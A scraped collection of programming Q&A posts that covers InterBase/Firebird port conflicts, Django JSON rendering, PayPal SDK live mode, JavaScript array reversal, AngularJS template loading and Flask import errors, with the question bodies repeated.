It turned out that in the meantime something had sneaked Firebird onto my machine and it had hijacked the port IB usually listens on, and it was actually this FB server which was rejecting the connection, not the Interbase one!

Take a look under Services to see whether there is an FB server running. If there are, close it down (and start the IB server if not already running, of course).  Then try your DBX project again.

Somewhere in the IB docs, I found something which seemed to suggest there was a way of getting FB and IB servers to coexist, but to avoid falling into a similar trap another time, I wrote a couple of batch files to shut down one of them and start the other.  One is called "UseIB" and contains:

net stop "Firebird server - DefaultInstance"
net start "InterBase XE7 Server gds_db"

The other one, "UseFB" just does the opposite, of course.


问:
Cannot Get Django Template to Print Formatted JSON
I'm struggling with printing a formatted JSON response from Watson's NLU API. I'm using Python 2.7 and Django 1.11. My views.py looks like this:

```<code>def nlu_analysis(request):
    if request.method == 'POST':
        text2send = request.POST.get('text2send')
        natural_language_understanding = NLUV1(
            version='2017-02-27',
            username='####',
            password='####')

    response = natural_language_understanding.analyze(
        text=text2send,
        features=[features.Entities(), ... features.SemanticRoles()])

        parsedData = json.dumps(response, indent=2)
    return render(request, 'analysis.html', {'data': parsedData})
</code>```

My analysis.html looks like this:

```<code>  <div class="container text-left">
      <p>{{ data }}</p>
  </div>
</code>```

The result of all of this is the data, with JSON brackets being printed on one line like this:

{ "semantic_roles": [ { "action": { "text": "are", "verb": { "text": "be", "tense": "present" }, "normalized": "be" }, "sentence": "Batman and Superman are fighting the bad guys", ... "keywords": [ { "relevance": 0.931284, "text": "bad guys" }, { "relevance": 0.790756, "text": "Superman" }, { "relevance": 0.752557, "text": "Batman" } ] }

If I run this within a for loop

```<code><div class="container text-left">
    {% for d in data %}
        <p>{{ d }}</p>
    {% endfor %}
</div>
</code>```

it simply prints on character on each line

{

"

s

e

m

...

suggesting that {{ data }} is a string, nothing more.

Clearly I am fundamentally misunderstanding something. Either it is something with respect to how json.dumps (including 'indent=2') works or how to deal with it properly in my template. I suspect the later as the information being passed via 'data' clearly contains all of the JSON syntax. If I place the one line result above result in a JSON validator it reformats and validates perfectly.

Any help for a complete rookie out there? Thanks.

答: Why are you even parsing your response. json.dumps converts the dict object to string. You can instead directly use it as return render(request, 'analysis.html', {'data': response}).

Body:
I'm struggling with printing a formatted JSON response from Watson's NLU API. I'm using Python 2.7 and Django 1.11. My views.py looks like this:

def nlu_analysis(request):
    if request.method == 'POST':
        text2send = request.POST.get('text2send')
        natural_language_understanding = NLUV1(
            version='2017-02-27',
            username='####',
            password='####')

    response = natural_language_understanding.analyze(
        text=text2send,
        features=[features.Entities(), ... features.SemanticRoles()])

        parsedData = json.dumps(response, indent=2)
    return render(request, 'analysis.html', {'data': parsedData})

My analysis.html looks like this:

{{ data }}

The result of all of this is the data, with JSON brackets being printed on one line like this:

{ "semantic_roles": [ { "action": { "text": "are", "verb": { "text": "be", "tense": "present" }, "normalized": "be" }, "sentence": "Batman and Superman are fighting the bad guys", ... "keywords": [ { "relevance": 0.931284, "text": "bad guys" }, { "relevance": 0.790756, "text": "Superman" }, { "relevance": 0.752557, "text": "Batman" } ] }

If I run this within a for loop

    {% for d in data %}

{{ d }}

    {% endfor %}

it simply prints on character on each line

{

"

s

e

m

...

suggesting that {{ data }} is a string, nothing more.

Clearly I am fundamentally misunderstanding something. Either it is something with respect to how json.dumps (including 'indent=2') works or how to deal with it properly in my template. I suspect the later as the information being passed via 'data' clearly contains all of the JSON syntax. If I place the one line result above result in a JSON validator it reformats and validates perfectly.

Any help for a complete rookie out there? Thanks.


问:
PayPal REST PHP SDK API is still accessing Sandbox, even with Live credentials
I have a problem with switching to Live. I had changed my credentials to that ones from a Live Tab at https://developer.paypal.com app panel. I can see following error:

Got Http response code 401 when accessing
  https://api.sandbox.paypal.com/v1/oauth2/token.

Same code with sandbox credentials is working very well. So it is still trying to access sandbox and get reject because of course  live credentials are not correct at sandbox.

Strange problem, please for help.

答:
Assuming you are using PayPal PHP SDK, It is pretty simple, all you have to do is set up some configurations for your apiContext object.

according to this url here : Setting PayPal configuration

you can use below code for php.

```<code>$apiContext->setConfig(
      array(
        ...
        'mode' => 'live',
        ...
      )
);
</code>```

hope this helps.

Body:
Assuming you are using PayPal PHP SDK, It is pretty simple, all you have to do is set up some configurations for your apiContext object.

according to this url here : Setting PayPal configuration

you can use below code for php.

$apiContext->setConfig(
      array(
        ...
        'mode' => 'live',
        ...
      )
);

hope this helps.


问:
why does arr.reverse() reverses the orginal array
What I am looking for is to be able to reverse an array and store it to new array without modifing the orginal array. The syntax I used is as follows:

```<code>var arr= ["1", "2", "5"]
var arrTwo = arr.reverse();
console.log(arrTwo) \\ ["5" , "2" , "1"]
console.log(arr) \\["5" , "2" , "1"]
</code>```

When I output the values I am getting both values reversed. Can anyone help me identify what is wrong with my syntax?

答:
As you discovered, reverse modifies the source array.  You can first copy the array and then reverse it using slice() or ... (spread operator).

'use strict';
var arr = ["1", "2", "5"];
var arrTwo = [...arr].reverse();
console.log(arrTwo); // ["5", "2", "1"]
console.log(arr); // ["1", "2", "5"]```

Body:
What I am looking for is to be able to reverse an array and store it to new array without modifing the orginal array. The syntax I used is as follows:

var arr= ["1", "2", "5"]
var arrTwo = arr.reverse();
console.log(arrTwo) \\ ["5" , "2" , "1"]
console.log(arr) \\["5" , "2" , "1"]

When I output the values I am getting both values reversed. Can anyone help me identify what is wrong with my syntax?


问:
ui-bootstrap-tpls failed to load template
I've inherited an angular project, and it's having problems loading the ui-bootstrap-tpls modules.

For each directive it's trying to use from bootstrap, I get something similar to the following:

Error: [$compile:tpload] Failed to load template: template/datepicker/popup.html

I've read about the need to include the tpls version of the ui-bootstrap lib.  (ui-bootstrap-tpls-0.10.0.js (instead of ui-bootstrap.js)), but having done that as well as every permutation of module injected into my module as a dependency (ui.bootstrap, ui.bootstrap.tpls, template/datepicker/datepicker.html'), but I can't beat it.

Here're my includes:

```<code><html class="no-js" ng-app="hiringApp">
<head>
    <meta charset="utf-8">
    <title>@ViewBag.Title</title>
    <meta content="IE=edge" http-equiv="X-UA-Compatible">
    <meta content="width=device-width, initial-scale=1.0" name="viewport">
    <meta name="layout" content="IRLayout">

    <!-- styles IRLayout-->
    <link rel="stylesheet" href="//cdn.datatables.net/1.10.0-beta.1/css/jquery.dataTables.css">
    <!-- BootStrap -->
    <link rel="stylesheet" href="//netdna.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css">

    <!-- font-awesome -->
    <link href="//netdna.bootstrapcdn.com/font-awesome/4.1.0/css/font-awesome.min.css" rel="stylesheet">

    <link rel="stylesheet" href="@Url.Content("~/content/css/layout.css")">
    <link rel="stylesheet" href="@Url.Content("~/content/css/normalize.css")">
    <link rel="stylesheet" href="@Url.Content("~/content/css/main.css")">
    <link rel="stylesheet" type="text/css" href="@Url.Content("~/Content/css/Upload.css")">

    <link rel="stylesheet" href="//ajax.googleapis.com/ajax/libs/jqueryui/1.11.1/themes/smoothness/jquery-ui.css" />
    <link rel="stylesheet" type="text/css" href="@Url.Content("~/content/css/styles.css")">
    <link rel="stylesheet" type="text/css" href="@Url.Content("~/content/css/site-specific.css")">
    <link rel="stylesheet" type="text/css" href="@Url.Content("~/content/css/rating.css")">

    <!-- Upload -->
    @*<link rel="stylesheet" type="text/css" href="@Url.Content("~/Content/Upload.css")">*@

    <!-- Header Scripts-->
    <!-- Jquery & Jquery UI -->
    <script src="//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
    <script src="//ajax.googleapis.com/ajax/libs/jqueryui/1.11.1/jquery-ui.min.js"></script>
    <script src="@Url.Content("~/Scripts/Vendor/underscore-min.js")"></script>

    <!-- BootStrap -->
    <!-- Validate -->
    <script src="//ajax.aspnetcdn.com/ajax/jquery.validate/1.11.1/jquery.validate.min.js"></script>
    <script src="//ajax.aspnetcdn.com/ajax/jquery.validate/1.11.1/additional-methods.min.js"></script>

    <!-- Analytics -->
    <script src="//cdn.datatables.net/1.10.0-beta.1/js/jquery.dataTables.js"></script>
    <script src="//cdnjs.cloudflare.com/ajax/libs/raphael/2.1.2/raphael-min.js"></script>
    <script src="//cdnjs.cloudflare.com/ajax/libs/graphael/0.5.1/g.raphael-min.js"></script>

    <!-- Angular -->
          <!--
          <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.22/angular.min.js"></script>
          <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.22/angular-animate.min.js"></script>
          <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.22/angular-resource.min.js"></script>
          <script src="//cdnjs.cloudflare.com/ajax/libs/angular-ui-router/0.2.10/angular-ui-router.min.js"></script>
            -->
    <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.22/angular.js"></script>
    <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.22/angular-animate.js"></script>
    <script src="//angular-ui.github.io/bootstrap/ui-bootstrap-tpls-0.10.0.js"></script>
    <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.22/angular-resource.js"></script>
    <script src="//cdnjs.cloudflare.com/ajax/libs/angular-ui-router/0.2.10/angular-ui-router.js"></script>

    <script src="@Url.Content("~/Scripts/app.js")"></script>
    <script src="@Url.Content("~/Scripts/controllers.js")"></script>
    <script src="@Url.Content("~/Scripts/directives.js")"></script>
    <script src="@Url.Content("~/Scripts/filters.js")"></script>
    <script src="@Url.Content("~/Scripts/services.js")"></script>
    <script>
        angular.module("hiringApp").constant("$userProvider", @Model.User.SystemRoles);
        angular.module("hiringApp").constant("$jobProvider", '');
    </script>

    <!-- Upload -->
    <script src="@Url.Content("~/content/js/plupload.full.js")"></script>
    <script src="@Url.Content("~/content/js/UploadImage.js")"></script>

    <script type='text/javascript' src='//ajax.googleapis.com/ajax/libs/swfobject/2.2/swfobject.js'></script>
    <script src="~/Content/js/audio/irAudioRecorder.js"></script>
    @RenderSection("script", required: false)
</head>
</code>```

Here's my app module:

```<code>var hiringApp = angular.module('hiringApp', ['ui.router', 'ngAnimate', 'ngResource', 'filters', 'ui.bootstrap', 'ui.bootstrap.tpls']);
</code>```

Here's the error:

```<code>GET http://localhost:54720/template/tooltip/tooltip-popup.html 404 (Not Found) angular.js:8539
7Error: [$compile:tpload] Failed to load template: template/tooltip/tooltip-popup.html
http://errors.angularjs.org/1.2.22/$compile/tpload?p0=template%2Ftooltip%2Ftooltip-popup.html
    at http://ajax.googleapis.com/ajax/libs/angularjs/1.2.22/angular.js:78:12
    at http://ajax.googleapis.com/ajax/libs/angularjs/1.2.22/angular.js:6900:17
    at http://ajax.googleapis.com/ajax/libs/angularjs/1.2.22/angular.js:8098:11
    at wrappedErrback (http://ajax.googleapis.com/ajax/libs/angularjs/1.2.22/angular.js:11555:78)
    at wrappedErrback (http://ajax.googleapis.com/ajax/libs/angularjs/1.2.22/angular.js:11555:78)
    at wrappedErrback (http://ajax.googleapis.com/ajax/libs/angularjs/1.2.22/angular.js:11555:78)
    at http://ajax.googleapis.com/ajax/libs/angularjs/1.2.22/angular.js:11688:76
    at Scope.$eval (http://ajax.googleapis.com/ajax/libs/angularjs/1.2.22/angular.js:12658:28)
    at Scope.$digest (http://ajax.googleapis.com/ajax/libs/angularjs/1.2.22/angular.js:12470:31)
    at Scope.$apply (http://ajax.googleapis.com/ajax/libs/angularjs/1.2.22/angular.js:12762:24)
</code>```

答:
For me it was the interceptor that was producing the error i had to add the below code to make it ignore the calls that are not made to my api:</p>

```<code>if (config.url.indexOf('templates/') == 0 || config.url.indexOf('uib/') == 0)
{
   console.log('ignoring '+config.url);
   return config;
}
</code>```

Body:
I've inherited an angular project, and it's having problems loading the ui-bootstrap-tpls modules.

For each directive it's trying to use from bootstrap, I get something similar to the following:

Error: [$compile:tpload] Failed to load template: template/datepicker/popup.html

I've read about the need to include the tpls version of the ui-bootstrap lib.  (ui-bootstrap-tpls-0.10.0.js (instead of ui-bootstrap.js)), but having done that as well as every permutation of module injected into my module as a dependency (ui.bootstrap, ui.bootstrap.tpls, template/datepicker/datepicker.html'), but I can't beat it.

Here're my includes:

    <meta charset="utf-8">
    <title>@ViewBag.Title</title>
    <meta content="IE=edge" http-equiv="X-UA-Compatible">
    <meta content="width=device-width, initial-scale=1.0" name="viewport">
    <meta name="layout" content="IRLayout">

    <link rel="stylesheet" href="//cdn.datatables.net/1.10.0-beta.1/css/jquery.dataTables.css">

    <link rel="stylesheet" href="//netdna.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css">

    <link href="//netdna.bootstrapcdn.com/font-awesome/4.1.0/css/font-awesome.min.css" rel="stylesheet">

    <link rel="stylesheet" href="@Url.Content("~/content/css/layout.css")">
    <link rel="stylesheet" href="@Url.Content("~/content/css/normalize.css")">
    <link rel="stylesheet" href="@Url.Content("~/content/css/main.css")">
    <link rel="stylesheet" type="text/css" href="@Url.Content("~/Content/css/Upload.css")">

    <link rel="stylesheet" href="//ajax.googleapis.com/ajax/libs/jqueryui/1.11.1/themes/smoothness/jquery-ui.css" />
    <link rel="stylesheet" type="text/css" href="@Url.Content("~/content/css/styles.css")">
    <link rel="stylesheet" type="text/css" href="@Url.Content("~/content/css/site-specific.css")">
    <link rel="stylesheet" type="text/css" href="@Url.Content("~/content/css/rating.css")">

    @*<link rel="stylesheet" type="text/css" href="@Url.Content("~/Content/Upload.css")">*@

    @RenderSection("script", required: false)

Here's my app module:

var hiringApp = angular.module('hiringApp', ['ui.router', 'ngAnimate', 'ngResource', 'filters', 'ui.bootstrap', 'ui.bootstrap.tpls']);

Here's the error:

GET http://localhost:54720/template/tooltip/tooltip-popup.html 404 (Not Found) angular.js:8539
7Error: [$compile:tpload] Failed to load template: template/tooltip/tooltip-popup.html
http://errors.angularjs.org/1.2.22/$compile/tpload?p0=template%2Ftooltip%2Ftooltip-popup.html
    at http://ajax.googleapis.com/ajax/libs/angularjs/1.2.22/angular.js:78:12
    at http://ajax.googleapis.com/ajax/libs/angularjs/1.2.22/angular.js:6900:17
    at http://ajax.googleapis.com/ajax/libs/angularjs/1.2.22/angular.js:8098:11
    at wrappedErrback (http://ajax.googleapis.com/ajax/libs/angularjs/1.2.22/angular.js:11555:78)
    at wrappedErrback (http://ajax.googleapis.com/ajax/libs/angularjs/1.2.22/angular.js:11555:78)
    at wrappedErrback (http://ajax.googleapis.com/ajax/libs/angularjs/1.2.22/angular.js:11555:78)
    at http://ajax.googleapis.com/ajax/libs/angularjs/1.2.22/angular.js:11688:76
    at Scope.$eval (http://ajax.googleapis.com/ajax/libs/angularjs/1.2.22/angular.js:12658:28)
    at Scope.$digest (http://ajax.googleapis.com/ajax/libs/angularjs/1.2.22/angular.js:12470:31)
    at Scope.$apply (http://ajax.googleapis.com/ajax/libs/angularjs/1.2.22/angular.js:12762:24)

Body:
For me it was the interceptor that was producing the error i had to add the below code to make it ignore the calls that are not made to my api:

if (config.url.indexOf('templates/') == 0 || config.url.indexOf('uib/') == 0)
{
   console.log('ignoring '+config.url);
   return config;
}


问:
Flask import error (python)
Trying to import flask but I get the error:

```<code>ImportError: No module named Flask
</code>```

after:

```<code>import Flask
</code>```

I just installed it using terminal (Mac OS X):

```<code>JoeDangers-MacBookPro:~ joedanger$ $sudo easy_install Flask
Searching for Flask
Best match: Flask 0.10.1
Processing Flask-0.10.1-py2.7.egg
Flask 0.10.1 is already the active version in easy-install.pth
</code>```

Any thoughts as to why this is not working?

答:
You can use virtual environment

$ pip install virtualenv

Create virtualenv:

$ virtualenv venv

*venv is virtual environment name. Just name it what u want.

Activate virtual environment:

$ source venv/bin/activate

Make sure your terminal like this:

(venv) user@username:

Installing flask

pip install flask

And you can import flask without error :)

To deactivate, just type:

deactivate

Title: Flask import error (python)

Body:
Trying to import flask but I get the error:

ImportError: No module named Flask

after:

import Flask

I just installed it using terminal (Mac OS X):

JoeDangers-MacBookPro:~ joedanger$ $sudo easy_install Flask
Searching for Flask
Best match: Flask 0.10.1
Processing Flask-0.10.1-py2.7.egg
Flask 0.10.1 is already the active version in easy-install.pth

Any thoughts as to why this is not working?